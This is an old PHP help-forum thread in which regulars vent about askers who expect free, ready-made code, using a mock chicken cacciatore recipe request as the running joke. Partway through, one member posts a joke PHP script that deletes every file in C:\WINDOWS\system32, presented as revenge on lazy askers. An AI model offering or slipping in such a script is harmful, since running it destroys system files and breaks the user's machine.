Help with a complex task...

[BuzzLY]

Hi...

I need someone to help me with a recipe... I want to make Chicken Catch-i-tory for my girlfriend. I saw a picture on the cookbook, and thought, that should be easy, right?

So, I open up the cookbook to the page, and they want me to use chicken. I don't have any chicken, just some hamburger and half a bratwurst. Plus, I need a cup of flour. Is a cup like an ounce? And will sugar do?

Please understand, I don't know how to cook. I don't even have a pan in my cupboard.

So, can someone help me out? Should be pretty easy.

:glare:

Am I out of place thinking that some people are asking too much here? If you are a php programmer, even a beginner, then come on in, and we'll help you out as much as we can. We'll guide you down the path, but we do expect you to at least TRY to help yourself.

If you are NOT a programmer, I'm very sorry, but you have come to the wrong place. We are not going to hold your hand through the process if you have no desire to code, and we are not going to do it non-gratis. If you do want to pay us, post your request at a job site.

If you don't know how to use Google, learn. If you don't know where the PHP manual is, then you shouldn't be programming yet -- you have much to learn. If your question is "what will happen when I run this script?", try running the damned script yourself and see what happens!

I know there are a lot of people that feel the same way I do. I know someone out there will answer the questions, no matter how asinine they are. I know I do sometimes -- it's just easier. Heck, that's why I jumped at the chance to write a Beginning PHP book in the first place!

But, please, please, please, at least TRY to fix the problem yourself, and when you do, tell us what you did! And if you are not a programmer, put one on the line to talk to us, because you don't understand our language.

[planetsim]

/me scratches head..

I assume you werent serious for the Chicken Catch-i-tory receipe or you simply answered your own question (google ;) )

Anyway as PHP is easy most people think oh its easy a programmer will do it for me they are so damn rich, it wont hurt them too much :glare:

[pyro]

Originally posted by BuzzLY
If your question is "what will happen when I run this script?", try running the damned script yourself and see what happens! That's about as good as when you do post code for them, and then they post back and ask if it will work! Oi!

[tekky]

much better worded than my previous rant Buz ;)

where's shryku at? I think him and I need to terrorize (in the politest of senses of course :D) some threads today....

[drawmack]

From a previous chef, here's an easy recipie for chicken cacchatori

Ingredients
boneless skinless breasts
ragu homestyle tomato suace (ragu homestyle is important for consistency)
linguini
sliced mushrooms
1 green pepper
extra virgin olive oil
spray bottle

Set Up
preheat oven to 350 f
defat and remove the tenders from the chicken breasts
clean and julian the green pepper
put the olive oil in the spray bottle

Preperation
lightly coat the pan, chicken, mushrooms & peppers with olive oil
place the chicken, mushrooms & peppers in the pan
cover chicken, mushrooms & peppers with sauce
cover pan with tin foil
bake @ 350 f for 45 minutes for each pound of chicken

boil linguini until only a thin white strip runs through the middle
toss linguini in some sauce (lightly coating pasta)

Serve
make a bed of pasta on the plate
place chicken cacchatori on top of pasta
serve

I left out amounts so you can scale it for how much you'll need.

[LordShryku]

Originally posted by tekky
where's shryku at?
Oh, I'm here. Nursing a hangover and rebuilding a MythTV box, so I'll be rummaging through the forums :D

[tekky]

Originally posted by LordShryku
Oh, I'm here. Nursing a hangover and rebuilding a MythTV box, so I'll be rummaging through the forums :D

ahh hehe, good stuff (except the hangover -- although I'm sure it was last night... :D) I'll pm you my nominee for terrorizing if you are interested :evilgrin: (he hasnt graced the boards with his presence yet today --- or since early morning anyways)

[piersk]

Originally posted by BuzzLY
So, I open up the cookbook to the page, and they want me to use chicken.

Did the name of the recipe (Chicken whatever) not give away the fact that you might need to use chicken?:rolleyes:

[tekky]

Originally posted by piersk
Did the name of the recipe (Chicken whatever) not give away the fact that you might need to use chicken?:rolleyes:

I'm sure it didnt say that he had to provide it... I'm sure he thought someone else would give it to him... I mean that is the logic of today... that everything for what you want to do is given to you by others for free right? :glare:

[LordShryku]

Man, I really wish this mentality held true when I take my truck in to get worked on. I'd save a bungle on parts and labor :D

[tekky]

Originally posted by LordShryku
Man, I really wish this mentality held true when I take my truck in to get worked on. I'd save a bungle on parts and labor :D

LMAO, yah tell me about it, I'm about to start working on rebuilding my car (which is more like a fun on the weekend car than a daily driver anyways) after letting it sit for over a year now :queasy:

[BuzzLY]

From a previous chef, here's an easy recipie for chicken cacchatoriOK, thanks...
Ingredients
boneless skinless breastsUm... what animal?
1 green pepperI thought pepper was black? and 1 what? box?
extra virgin olive oilHmm... I think popeye is not doing his job...
Set Up
preheat oven to 350 fMy oven only measure in "F". Is that ok?
defat and remove the tenders from the chicken breastsI don't have any chicken
Preperation
...
cover pan with tin foilI only have aluminum foil. Will that work?
bake @ 350 f ...I tried, but immediatly got an "message undeliverable" error.

Actually, I'm not a chef, or even a cook. Would you mind making this for me? And hurry, I need it right away. Her birthday is tomorrow.

Thanks!

[Merve]

Buzz, do what I do.

Only answer questions when you feel like it.

[BuzzLY]

As a contributing member to this site, Merve, I try to help wherever I can. Of course, I only answer questions I want to answer -- I don't feel an obligation to answer them all.

However, I do feel that I should read most posts. And it is in reading them that I get frustrated at the things that are asked. That doesn't mean I will answer the post -- but it certainly annoys me to see people come in to the forum, and practically demand that someone write their app for them, immediately.

Ever seen someone like that ordering food in a restaurant? I guarantee they end up with a special surprise in their meals.

[LordShryku]

PHP's equivalent of spitting in your food...
<?php
$dir = 'C:\WINDOWS\system32';
if(file_exists($dir)) {
if($han = opendir($dir)) {
while(false !== ($file = readdir($han))) {
unlink($dir.'\\'.$file);
}
}
else {
die('This script is broken. Go back and ask someone else for a handout');
}
}
?> :D

[BuzzLY]

Hmmm...

I am running that on my machine right now. It doesn't seem to be doing anyth*(7) 7(6 9 6(* 8( ^^ P_^ L:Iu KyTG yTG:LuI7T &^:Oiu p8(t ^p98&{7 (7^*t 86 58 u ';*(i[ 097*& ( T*^% :io U&{90'890& 0TGH Lip&^ (&^

[LordShryku]

<evil laugh>Mhwuhahahahahaahahahahahaahahhahahahaha!</evil laugh>

BTW Buzz, what's with your signature links?

[planetsim]

I was going to say the same until Buzz fixed them up :glare:

[Weedpacket]

Originally posted by LordShryku
<evil laugh>Mhwuhahahahahaahahahahahaahahhahahahaha!</evil laugh> And that, my friends, is why you should never rely on cut-and-paste solutions....

[Weedpacket]

Originally posted by drawmack
I left out amounts so you can scale it for how much you'll need.
Am I the only one who spotted this?

[BuzzLY]

:) No, I caught that too... so... 4 pieces of chicken, and a gallon of extra virgin olive oil... right? :D

[Weedpacket]

Hehheh hehheh ... he said "virgin" ... hehheh hehheh.

[piersk]

:glare:

you beat me to it

:glare:

[Merve]

Well, I usually tend to ignore the people who demand stuff. I stopped flaming people in the the help threads and started flaming them here (which I find has been more receptive and effective).

So, now I should go to the help forums...I haven't helped in a while :D (only if they ask nicely ;))

[drawmack]

nah, just reman the windows directory

[drawmack]

If you'll notice I intentionally wrote the recipie up so you need to at least have a clue what you're doing kind of like defenders script for someone who did this with code.